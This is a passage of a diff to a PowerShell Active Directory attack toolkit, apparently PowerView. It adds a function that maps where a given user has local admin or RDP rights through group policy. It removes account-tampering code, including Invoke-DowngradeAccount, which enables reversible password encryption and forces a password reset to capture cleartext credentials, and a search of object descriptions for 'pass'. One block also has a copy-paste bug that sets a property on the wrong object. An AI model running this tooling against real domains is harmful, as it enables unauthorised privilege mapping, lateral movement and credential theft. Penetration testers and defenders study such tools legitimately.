C:\> Find-GPOLocation -UserName dfm - Returns all MS SQL servers on the domain. + Find all computers that dfm user has local administrator rights to in + the current domain. .EXAMPLE - PS C:\> Get-NetComputer -Domain testing + PS C:\> Find-GPOLocation -UserName dfm -Domain dev.testlab.local - Returns the current computers in 'testing' domain. + Find all computers that dfm user has local administrator rights to in + the dev.testlab.local domain. .EXAMPLE - PS C:\> Get-NetComputer -Domain testing -FullData - - Returns full computer objects in the 'testing' domain. - - .LINK + PS C:\> Find-GPOLocation -UserName jason -LocalGroup RDP - https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1 + Find all computers that jason has local RDP access rights to in the domain. #> [CmdletBinding()] Param ( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [String] - $ComputerName = '*', - - [String] - $SPN, - - [String] - $OperatingSystem, - - [String] - $ServicePack, - - [String] - $Filter, - - [Switch] - $Printers, - - [Switch] - $Ping, - - [Switch] - $FullData, - [String] $Domain, @@ -3978,9372 +3309,785 @@ function Get-NetComputer { $DomainController, [String] - $ADSpath, - - [String] - $SiteName, + $LocalGroup = 'Administrators', [Switch] - $Unconstrained, + $UsePSDrive, [ValidateRange(1,10000)] [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential + $PageSize = 200 ) - begin { - # so this isn't repeated if multiple computer names are passed on the pipeline - $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential + $TargetSIDs = @('*') + + # figure out what the SID is of the target local group we're checking for membership in + if($LocalGroup -like "*Admin*") { + $TargetLocalSID = 'S-1-5-32-544' + } + elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) { + $TargetLocalSID = 'S-1-5-32-555' + } + elseif ($LocalGroup -like "S-1-5-*") { + $TargetLocalSID = $LocalGroup + } + else { + throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' SID format." } - process { + if(-not $TargetSIDs) { + throw "No effective target SIDs!" + } - if ($CompSearcher) { + Write-Verbose "TargetLocalSID: $TargetLocalSID" + Write-Verbose "Effective target SIDs: $TargetSIDs" - # if we're checking for unconstrained delegation - if($Unconstrained) { - Write-Verbose "Searching for computers with for unconstrained delegation" - $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)" - } - # set the filters for the seracher if it exists - if($Printers) { - Write-Verbose "Searching for printers" - # $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)" - $Filter += "(objectCategory=printQueue)" - } - if($SPN) { - Write-Verbose "Searching for computers with SPN: $SPN" - $Filter += "(servicePrincipalName=$SPN)" + $GPOGroupArgs = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'UsePSDrive' = $UsePSDrive + 'ResolveMemberSIDs' = $True + 'PageSize' = $PageSize + } + + # enumerate all GPO group mappings for the target domain that involve our target SID set + Sort-Object -Property GPOName -Unique -InputObject $(ForEach($GPOGroup in (Get-NetGPOGroup @GPOGroupArgs)) { + # if the locally set group is what we're looking for, check the GroupMembers ('members') + # for our target SID + if($GPOgroup.GroupSID -match $TargetLocalSID) { + ForEach($GPOgroupMember in $GPOgroup.GroupMembers) { + if($GPOgroupMember) { + if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroupMember) ) { + $GPOgroup + } + } } - if($OperatingSystem) { - $Filter += "(operatingsystem=$OperatingSystem)" + } + # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs + if( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { + if( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { + $GPOgroup } - if($ServicePack) { - $Filter += "(operatingsystemservicepack=$ServicePack)" + } + }) | ForEach-Object { + + $GPOname = $_.GPODisplayName + write-verbose "GPOname: $GPOname" + $GPOguid = $_.GPOName + $GPOPath = $_.GPOPath + $GPOType = $_.GPOType + if($_.GroupMembers) { + $GPOMembers = $_.GroupMembers + } + else { + $GPOMembers = $_.GroupSID + } + + $Filters = $_.Filters + + if(-not $TargetObject) { + # if the * wildcard was used, set the ObjectDistName as the GPO member SID set + # so all relationship mappings are output + $TargetObjectSIDs = $GPOMembers + } + else { + $TargetObjectSIDs = $TargetObject + } + + # find any OUs that have this GUID applied and then retrieve any computers from the OU + Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object { + if($Filters) { + # filter for computer name/org unit if a filter is specified + # TODO: handle other filters (i.e. OU filters?) again, I hate you GPP... + $FilterValue = $Filters.Value + $OUComputers = ForEach($OUComputer in (Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize)) { + if($OUComputer.ToLower() -match $Filters.Value) { + $OUComputer + } + } } - if($SiteName) { - $Filter += "(serverreferencebl=$SiteName)" + else { + $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize } - $CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)" - Write-Verbose "Get-NetComputer filter : '$CompFilter'" - $CompSearcher.filter = $CompFilter - - try { - $Results = $CompSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Up = $True - if($Ping) { - # TODO: how can these results be piped to ping for a speedup? - $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname + if($OUComputers) { + if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} + ForEach ($TargetSid in $TargetObjectSIDs) { + $Object = Get-ADObject -SID $TargetSid + if (-not $Object) { + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize } - if($Up) { - # return full data objects - if ($FullData) { - # convert/process the LDAP fields for each result - $Computer = Convert-LDAPProperty -Properties $_.Properties - $Computer.PSObject.TypeNames.Add('PowerView.Computer') - $Computer - } - else { - # otherwise we're just returning the DNS host name - $_.properties.dnshostname - } + if($Object) { + $MemberDN = $Object.distinguishedName + $ObjectDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOLocation = New-Object PSObject + $GPOLocation | Add-Member Noteproperty 'ObjectDomain' $ObjectDomain + $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocation | Add-Member Noteproperty 'GPODomain' $Domain + $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname + $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType + $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers + $GPOLocation.PSObject.TypeNames.Add('PowerView.GPOLocalGroup') + $GPOLocation } } - $Results.dispose() - $CompSearcher.dispose() } - catch { - Write-Warning "Error: $_" + } + + # find any sites that have this GUID applied + Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { + + ForEach ($TargetSid in $TargetObjectSIDs) { + # $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize + $Object = Get-ADObject -SID $TargetSid + if (-not $Object) { + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize + } + if($Object) { + $MemberDN = $Object.distinguishedName + $ObjectDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $AppliedSite = New-Object PSObject + $GPOLocation | Add-Member Noteproperty 'ObjectDomain' $ObjectDomain + $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup + $AppliedSite | Add-Member Noteproperty 'GPODomain' $Domain + $AppliedSite | Add-Member Noteproperty 'GPODisplayName' $GPOname + $AppliedSite | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $AppliedSite | Add-Member Noteproperty 'GPOPath' $GPOPath + $AppliedSite | Add-Member Noteproperty 'GPOType' $GPOType + $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $AppliedSite | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl + $AppliedSite.PSObject.TypeNames.Add('PowerView.GPOLocalGroup') + $AppliedSite + } } } } } -function Get-ADObject { +######################################################## +# +# Functions that enumerate a single host, either through +# WinNT, WMI, remote registry, or API calls +# (with PSReflect). +# +######################################################## + +function Get-NetLocalGroup { <# .SYNOPSIS - Takes a domain SID and returns the user, group, or computer object - associated with it. - - .PARAMETER SID - - The SID of the domain object you're querying for. - - .PARAMETER Name - - The Name of the domain object you're querying for. - - .PARAMETER SamAccountName - - The SamAccountName of the domain object you're querying for. + Gets a list of all current users in a specified local group, + or returns the names of all local groups with -ListGroups. - .PARAMETER Domain + .PARAMETER ComputerName - The domain to query for objects, defaults to the current domain. + The hostname or IP to query for local group users. - .PARAMETER DomainController + .PARAMETER ComputerFile - Domain controller to reflect LDAP queries through. + File of hostnames/IPs to query for local group users. - .PARAMETER ADSpath + .PARAMETER GroupName - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. + The local group name to query for users. If not given, it defaults to "Administrators" - .PARAMETER Filter + .PARAMETER Recurse - Additional LDAP filter string for the query. + Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine. - .PARAMETER ReturnRaw + .PARAMETER API - Switch. Return the raw object instead of translating its properties. - Used by Set-ADObject to modify object properties. + Switch. Use API calls instead of the WinNT service provider. Less information, + but the results are faster. - .PARAMETER PageSize + .PARAMETER IsDomain - The PageSize to set for the LDAP searcher object. + Switch. Only return results that are domain accounts. - .PARAMETER Credential + .PARAMETER DomainSID - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. + The SID of the enumerated machine's domain, used to identify if results are domain + or local when using the -API flag. .EXAMPLE - PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110" + PS C:\> Get-NetLocalGroup - Get the domain object associated with the specified SID. + Returns the usernames that of members of localgroup "Administrators" on the local host. .EXAMPLE - PS C:\> Get-ADObject -ADSpath "CN=AdminSDHolder,CN=System,DC=testlab,DC=local" - - Get the AdminSDHolder object for the testlab.local domain. -#> - - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [String] - $SID, - - [String] - $Name, - - [String] - $SamAccountName, - - [String] - $Domain, - - [String] - $DomainController, + PS C:\> Get-NetLocalGroup -ComputerName WINDOWSXP - [String] - $ADSpath, + Returns all the local administrator accounts for WINDOWSXP - [String] - $Filter, + .EXAMPLE - [Switch] - $ReturnRaw, + PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, + Returns all effective local/domain users/groups that can access WINDOWS7 with + local administrative privileges. - [Management.Automation.PSCredential] - $Credential - ) - process { - if($SID -and (-not $Domain)) { - # if a SID is passed, try to resolve it to a reachable domain name for the searcher - try { - $Name = Convert-SidToName $SID - if($Name) { - $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical - if($Canonical) { - $Domain = $Canonical.split("/")[0] - } - else { - Write-Verbose "Error resolving SID '$SID'" - return $Null - } - } - } - catch { - Write-Verbose "Error resolving SID '$SID' : $_" - return $Null - } - } + .EXAMPLE - $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + PS C:\> "WINDOWS7", "WINDOWSSP" | Get-NetLocalGroup -API - if($ObjectSearcher) { - if($SID) { - $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)" - } - elseif($Name) { - $ObjectSearcher.filter = "(&(name=$Name)$Filter)" - } - elseif($SamAccountName) { - $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)" - } + Returns all local groups on the the passed hosts using API calls instead of the + WinNT service provider. - try { - $Results = $ObjectSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - if($ReturnRaw) { - $_ - } - else { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties - } - } - $Results.dispose() - } - catch { - Write-Verbose "Error building the searcher object!" - } - $ObjectSearcher.dispose() - } - } -} + .LINK + http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together + http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +#> -function Set-ADObject { -<# - .SYNOPSIS + [CmdletBinding(DefaultParameterSetName = 'WinNT')] + param( + [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)] + [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)] + [Alias('HostName')] + [String[]] + $ComputerName = $Env:ComputerName, - Takes a SID, name, or SamAccountName to query for a specified - domain object, and then sets a specified 'PropertyName' to a - specified 'PropertyValue'. - - .PARAMETER SID - - The SID of the domain object you're querying for. - - .PARAMETER Name - - The Name of the domain object you're querying for. - - .PARAMETER SamAccountName - - The SamAccountName of the domain object you're querying for. - - .PARAMETER Domain - - The domain to query for objects, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER Filter - - Additional LDAP filter string for the query. - - .PARAMETER PropertyName - - The property name to set. - - .PARAMETER PropertyValue - - The value to set for PropertyName - - .PARAMETER PropertyXorValue - - Integer value to binary xor (-bxor) with the current int value. - - .PARAMETER ClearValue - - Switch. Clear the value of PropertyName - - .PARAMETER PageSize - - The PageSize to set for the LDAP searcher object. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - - .EXAMPLE - - PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0 - - Set the countrycode for matt.admin to 0 - - .EXAMPLE - - PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName useraccountcontrol -PropertyXorValue 65536 - - Set the password not to expire on matt.admin -#> - - [CmdletBinding()] - Param ( - [String] - $SID, - - [String] - $Name, - - [String] - $SamAccountName, - - [String] - $Domain, - - [String] - $DomainController, - - [String] - $Filter, - - [Parameter(Mandatory = $True)] - [String] - $PropertyName, - - $PropertyValue, - - [Int] - $PropertyXorValue, - - [Switch] - $ClearValue, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential - ) - - $Arguments = @{ - 'SID' = $SID - 'Name' = $Name - 'SamAccountName' = $SamAccountName - 'Domain' = $Domain - 'DomainController' = $DomainController - 'Filter' = $Filter - 'PageSize' = $PageSize - 'Credential' = $Credential - } - # splat the appropriate arguments to Get-ADObject - $RawObject = Get-ADObject -ReturnRaw @Arguments - - try { - # get the modifiable object for this search result - $Entry = $RawObject.GetDirectoryEntry() - - if($ClearValue) { - Write-Verbose "Clearing value" - $Entry.$PropertyName.clear() - $Entry.commitchanges() - } - - elseif($PropertyXorValue) { - $TypeName = $Entry.$PropertyName[0].GetType().name - - # UAC value references- https://support.microsoft.com/en-us/kb/305144 - $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue - $Entry.$PropertyName = $PropertyValue -as $TypeName - $Entry.commitchanges() - } - - else { - $Entry.put($PropertyName, $PropertyValue) - $Entry.setinfo() - } - } - catch { - Write-Warning "Error setting property $PropertyName to value '$PropertyValue' for object $($RawObject.Properties.samaccountname) : $_" - } -} - - -function Invoke-DowngradeAccount { -<# - .SYNOPSIS - - Set reversible encryption on a given account and then force the password - to be set on next user login. To repair use "-Repair". - - .PARAMETER SamAccountName - - The SamAccountName of the domain object you're querying for. - - .PARAMETER Name - - The Name of the domain object you're querying for. - - .PARAMETER Domain - - The domain to query for objects, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER Filter - - Additional LDAP filter string for the query. - - .PARAMETER Repair - - Switch. Unset the reversible encryption flag and force password reset flag. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - - .EXAMPLE - - PS> Invoke-DowngradeAccount -SamAccountName jason - - Set reversible encryption on the 'jason' account and force the password to be changed. - - .EXAMPLE - - PS> Invoke-DowngradeAccount -SamAccountName jason -Repair - - Unset reversible encryption on the 'jason' account and remove the forced password change. -#> - - [CmdletBinding()] - Param ( - [Parameter(ParameterSetName = 'SamAccountName', Position=0, ValueFromPipeline=$True)] - [String] - $SamAccountName, - - [Parameter(ParameterSetName = 'Name')] - [String] - $Name, - - [String] - $Domain, - - [String] - $DomainController, - - [String] - $Filter, - - [Switch] - $Repair, - - [Management.Automation.PSCredential] - $Credential - ) - - process { - $Arguments = @{ - 'SamAccountName' = $SamAccountName - 'Name' = $Name - 'Domain' = $Domain - 'DomainController' = $DomainController - 'Filter' = $Filter - 'Credential' = $Credential - } - - # splat the appropriate arguments to Get-ADObject - $UACValues = Get-ADObject @Arguments | select useraccountcontrol | ConvertFrom-UACValue - - if($Repair) { - - if($UACValues.Keys -contains "ENCRYPTED_TEXT_PWD_ALLOWED") { - # if reversible encryption is set, unset it - Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128 - } - - # unset the forced password change - Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue -1 - } - - else { - - if($UACValues.Keys -contains "DONT_EXPIRE_PASSWORD") { - # if the password is set to never expire, unset - Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 65536 - } - - if($UACValues.Keys -notcontains "ENCRYPTED_TEXT_PWD_ALLOWED") { - # if reversible encryption is not set, set it - Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128 - } - - # force the password to be changed on next login - Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue 0 - } - } -} - - -function Get-ComputerProperty { -<# - .SYNOPSIS - - Returns a list of all computer object properties. If a property - name is specified, it returns all [computer:property] values. - - Taken directly from @obscuresec's post: - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html - - .PARAMETER Properties - - Return property names for computers. - - .PARAMETER Domain - - The domain to query for computer properties, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER PageSize - - The PageSize to set for the LDAP searcher object. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - - .EXAMPLE - - PS C:\> Get-ComputerProperty -Domain testing - - Returns all user properties for computers in the 'testing' domain. - - .EXAMPLE - - PS C:\> Get-ComputerProperty -Properties ssn,lastlogon,location - - Returns all an array of computer/ssn/lastlogin/location combinations - for computers in the current domain. - - .LINK - - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html -#> - - [CmdletBinding()] - param( - [String[]] - $Properties, - - [String] - $Domain, - - [String] - $DomainController, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential - ) - - if($Properties) { - # extract out the set of all properties for each object - $Properties = ,"name" + $Properties | Sort-Object -Unique - Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -Property $Properties - } - else { - # extract out just the property names - Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name" - } -} - - -function Find-ComputerField { -<# - .SYNOPSIS - - Searches computer object fields for a given word (default *pass*). Default - field being searched is 'description'. - - Taken directly from @obscuresec's post: - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html - - .PARAMETER SearchTerm - - Term to search for, default of "pass". - - .PARAMETER SearchField - - User field to search in, default of "description". - - .PARAMETER ADSpath - - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER Domain - - Domain to search computer fields for, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER PageSize - - The PageSize to set for the LDAP searcher object. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - - .EXAMPLE - - PS C:\> Find-ComputerField -SearchTerm backup -SearchField info - - Find computer accounts with "backup" in the "info" field. -#> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Term')] - [String] - $SearchTerm = 'pass', - - [Alias('Field')] - [String] - $SearchField = 'description', - - [String] - $ADSpath, - - [String] - $Domain, - - [String] - $DomainController, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential - ) - - process { - Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField - } -} - - -function Get-NetOU { -<# - .SYNOPSIS - - Gets a list of all current OUs in a domain. - - .PARAMETER OUName - - The OU name to query for, wildcards accepted. - - .PARAMETER GUID - - Only return OUs with the specified GUID in their gplink property. - - .PARAMETER Domain - - The domain to query for OUs, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER ADSpath - - The LDAP source to search through. - - .PARAMETER FullData - - Switch. Return full OU objects instead of just object names (the default). - - .PARAMETER PageSize - - The PageSize to set for the LDAP searcher object. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - - .EXAMPLE - - PS C:\> Get-NetOU - - Returns the current OUs in the domain. - - .EXAMPLE - - PS C:\> Get-NetOU -OUName *admin* -Domain testlab.local - - Returns all OUs with "admin" in their name in the testlab.local domain. - - .EXAMPLE - - PS C:\> Get-NetOU -GUID 123-... - - Returns all OUs with linked to the specified group policy object. - - .EXAMPLE - - PS C:\> "*admin*","*server*" | Get-NetOU - - Get the full OU names for the given search terms piped on the pipeline. -#> - - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [String] - $OUName = '*', - - [String] - $GUID, - - [String] - $Domain, - - [String] - $DomainController, - - [String] - $ADSpath, - - [Switch] - $FullData, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential - ) - - begin { - $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - } - process { - if ($OUSearcher) { - if ($GUID) { - # if we're filtering for a GUID in .gplink - $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName)(gplink=*$GUID*))" - } - else { - $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))" - } - - try { - $Results = $OUSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - if ($FullData) { - # convert/process the LDAP fields for each result - $OU = Convert-LDAPProperty -Properties $_.Properties - $OU.PSObject.TypeNames.Add('PowerView.OU') - $OU - } - else { - # otherwise just returning the ADS paths of the OUs - $_.properties.adspath - } - } - $Results.dispose() - $OUSearcher.dispose() - } - catch { - Write-Warning $_ - } - } - } -} - - -function Get-NetSite { -<# - .SYNOPSIS - - Gets a list of all current sites in a domain. - - .PARAMETER SiteName - - Site filter string, wildcards accepted. - - .PARAMETER Domain - - The domain to query for sites, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER ADSpath - - The LDAP source to search through. - - .PARAMETER GUID - - Only return site with the specified GUID in their gplink property. - - .PARAMETER FullData - - Switch. Return full site objects instead of just object names (the default). - - .PARAMETER PageSize - - The PageSize to set for the LDAP searcher object. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - - .EXAMPLE - - PS C:\> Get-NetSite -Domain testlab.local -FullData - - Returns the full data objects for all sites in testlab.local -#> - - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [String] - $SiteName = "*", - - [String] - $Domain, - - [String] - $DomainController, - - [String] - $ADSpath, - - [String] - $GUID, - - [Switch] - $FullData, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential - ) - - begin { - $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize - } - process { - if($SiteSearcher) { - - if ($GUID) { - # if we're filtering for a GUID in .gplink - $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName)(gplink=*$GUID*))" - } - else { - $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName))" - } - - try { - $Results = $SiteSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - if ($FullData) { - # convert/process the LDAP fields for each result - $Site = Convert-LDAPProperty -Properties $_.Properties - $Site.PSObject.TypeNames.Add('PowerView.Site') - $Site - } - else { - # otherwise just return the site name - $_.properties.name - } - } - $Results.dispose() - $SiteSearcher.dispose() - } - catch { - Write-Verbose $_ - } - } - } -} - - -function Get-NetSubnet { -<# - .SYNOPSIS - - Gets a list of all current subnets in a domain. - - .PARAMETER SiteName - - Only return subnets from the specified SiteName. - - .PARAMETER Domain - - The domain to query for subnets, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER ADSpath - - The LDAP source to search through. - - .PARAMETER FullData - - Switch. Return full subnet objects instead of just object names (the default). - - .PARAMETER PageSize - - The PageSize to set for the LDAP searcher object. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - - .EXAMPLE - - PS C:\> Get-NetSubnet - - Returns all subnet names in the current domain. - - .EXAMPLE - - PS C:\> Get-NetSubnet -Domain testlab.local -FullData - - Returns the full data objects for all subnets in testlab.local -#> - - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [String] - $SiteName = "*", - - [String] - $Domain, - - [String] - $ADSpath, - - [String] - $DomainController, - - [Switch] - $FullData, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential - ) - - begin { - $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize - } - - process { - if($SubnetSearcher) { - - $SubnetSearcher.filter="(&(objectCategory=subnet))" - - try { - $Results = $SubnetSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - if ($FullData) { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties | Where-Object { $_.siteobject -match "CN=$SiteName" } - } - else { - # otherwise just return the subnet name and site name - if ( ($SiteName -and ($_.properties.siteobject -match "CN=$SiteName,")) -or ($SiteName -eq '*')) { - - $SubnetProperties = @{ - 'Subnet' = $_.properties.name[0] - } - try { - $SubnetProperties['Site'] = ($_.properties.siteobject[0]).split(",")[0] - } - catch { - $SubnetProperties['Site'] = 'Error' - } - - New-Object -TypeName PSObject -Property $SubnetProperties - } - } - } - $Results.dispose() - $SubnetSearcher.dispose() - } - catch { - Write-Warning $_ - } - } - } -} - - -function Get-DomainSID { -<# - .SYNOPSIS - - Gets the SID for the domain. - - .PARAMETER Domain - - The domain to query, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .EXAMPLE - - C:\> Get-DomainSID -Domain TEST - - Returns SID for the domain 'TEST' -#> - - param( - [String] - $Domain, - - [String] - $DomainController - ) - - $DCSID = Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' | Select-Object -First 1 -ExpandProperty objectsid - if($DCSID) { - $DCSID.Substring(0, $DCSID.LastIndexOf('-')) - } - else { - Write-Verbose "Error extracting domain SID for $Domain" - } -} - - -function Get-NetGroup { -<# - .SYNOPSIS - - Gets a list of all current groups in a domain, or all - the groups a given user/group object belongs to. - - .PARAMETER GroupName - - The group name to query for, wildcards accepted. - - .PARAMETER SID - - The group SID to query for. - - .PARAMETER UserName - - The user name (or group name) to query for all effective - groups of. - - .PARAMETER Filter - - A customized ldap filter string to use, e.g. "(description=*admin*)" - - .PARAMETER Domain - - The domain to query for groups, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER ADSpath - - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER AdminCount - - Switch. Return group with adminCount=1. - - .PARAMETER FullData - - Switch. Return full group objects instead of just object names (the default). - - .PARAMETER RawSids - - Switch. Return raw SIDs when using "Get-NetGroup -UserName X" - - .PARAMETER PageSize - - The PageSize to set for the LDAP searcher object. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - - .EXAMPLE - - PS C:\> Get-NetGroup - - Returns the current groups in the domain. - - .EXAMPLE - - PS C:\> Get-NetGroup -GroupName *admin* - - Returns all groups with "admin" in their group name. - - .EXAMPLE - - PS C:\> Get-NetGroup -Domain testing -FullData - - Returns full group data objects in the 'testing' domain -#> - - 